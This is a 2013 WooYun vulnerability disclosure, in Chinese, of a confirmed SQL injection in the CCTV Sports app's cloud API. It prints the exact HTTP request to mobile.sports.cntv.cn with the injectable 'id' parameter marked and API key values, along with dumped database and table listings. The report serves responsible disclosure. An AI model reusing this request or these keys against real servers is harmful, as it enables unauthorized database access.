当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-043742

漏洞标题：APP终结者5#央视体育App云端Sql注入

相关厂商：中国网络电视台

漏洞作者： zzR

提交时间：2013-11-22 17:37

修复时间：2014-01-06 17:38

公开时间：2014-01-06 17:38

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-11-22： 细节已通知厂商并且等待厂商处理中
2013-11-22： 厂商已经确认，细节仅向厂商公开
2013-12-02： 细节向核心白帽子及相关领域专家公开
2013-12-12： 细节向普通白帽子公开
2013-12-22： 细节向实习白帽子公开
2014-01-06： 细节向公众公开

简要描述：

柿子专挑软的捏是不是，WEB前端重兵把守，不如找条小路！All roads lead to Rome
---每天花1小时找漏洞~来乌云把爱藏在心里---

详细说明：

app名称：央视体育
请求如下

GET /?apiserv&sign=e61da3796aa16a77000f0ef775581da7&apikey=E7B128891443537&apiname=cctv5&type=41&id=51430* 
HTTP/1.1
Host: mobile.sports.cntv.cn
Accept-Encoding: gzip
User-Agent: 央视体育 2.0.1 (iPhone; iPhone OS 7.0.4; zh_CN)
Connection: keep-alive
Proxy-Connection: keep-alive


参数id存在sql注入，内网ip

漏洞证明：

1.png


mysql 数据库，nginx跑起来就是快！
可见这个是一个cctv5的cms库。
dbs

2.png


3.png


cctv5cms

Database: cctv5cms
+-----------------------+---------+
| Table                 | Entries |
+-----------------------+---------+
| cms_news_images       | 38987   |
| cms_content           | 26571   |
| cms_content_formal    | 8134    |
| cms_news_list         | 8122    |
| cms_news_main         | 6749    |
| cms_images            | 1589    |
| cms_focus_image       | 383     |
| cms_category          | 45      |
| cms_category_resource | 29      |
| cms_channel           | 9       |
| cms_image_size        | 7       |
| cms_version_type      | 7       |
| cms_image_ratio       | 3       |
| cms_version           | 3       |
| cms_api_user          | 2       |
| cms_position          | 2       |
| cms_topic_news        | 2       |
| cms_topic_module      | 1       |
+-----------------------+---------+

修复方案：

防线扩至app云端

版权声明：转载请注明来源 zzR@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-11-22 18:46

厂商回复：

非常感谢，我们将尽快整改！～～～～～

最新状态：

暂无

漏洞评价：

评论